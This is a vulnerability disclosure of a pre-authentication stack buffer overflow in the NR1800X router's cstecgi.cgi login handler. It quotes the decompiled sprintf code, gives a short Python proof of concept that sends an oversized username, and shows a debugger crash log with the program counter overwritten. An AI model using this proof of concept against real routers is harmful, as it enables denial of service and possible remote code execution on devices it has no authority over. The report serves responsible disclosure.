NR1800X - bof - main （pre-authentication)

Hi, we found a **pre-authentication** stack buffer overflow at **NR1800X** (Firmware version **V9.1.0u.6279_B20210910**), and contact you at the first time.

```
49  v8 = (const char *)malloc(v7);
50  memset(v8, 0, v7);
51  fread(v8, 1, v7, stdin);
52  if ( !v3 )
53    goto LABEL_15;
54  if ( strstr(v3, "action=login") )
55  {
56    if ( strstr(v3, "flag=ie8") )
57    {
58      v32 = strstr(v3, "verify=error");
59      v33 = (const char *)getenv("http_host");
60      sprintf(
61        v35,
62        "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=ie8&verify=%d\"}",
63        v8,
64        v33,
65        v32 != 0);
66      v12 = v35;
67    }
68    else
69    {
70      v9 = strstr(v3, "flag=1");
71      v10 = strstr(v3, "verify=error") != 0;
72      v11 = (const char *)getenv("http_host");
73      if ( v9 )
74        sprintf(v35, "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=1&verify=%d\"}", v8, v11, v10);
75      else
76        sprintf(v35, "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&verify=%d\"}", v8, v11, v10);
```

In main function, the length of post data is not checked. If the query string is specified as **/cgi-bin/cstecgi.cgi?action=login&flag=ie8,** one can send a very long post data to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi?
action=login&flag=ie8" cookie = {"Cookie":"uid=1234"} data =
"username="+"a"*5000 response = requests.post(url, cookies=cookie, data=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.


Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
V0 0x0
V1 0x1
A0 0x1
A1 0x1
A2 0x1
A3 0x0
T0 0x77035998 ◂— 0x6c5f5f00
T1 0x77030738 ◂— nop
T2 0x31
T3 0xffffffff
T4 0xf0000000
T5 0x1
T6 0x400
T7 0x42f7e0 (main+1984) ◂— move $v0, $zero
T8 0x39
T9 0x770cf0b8 ◂— lui $gp, 2
S0 0x61616161 ('aaaa')
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')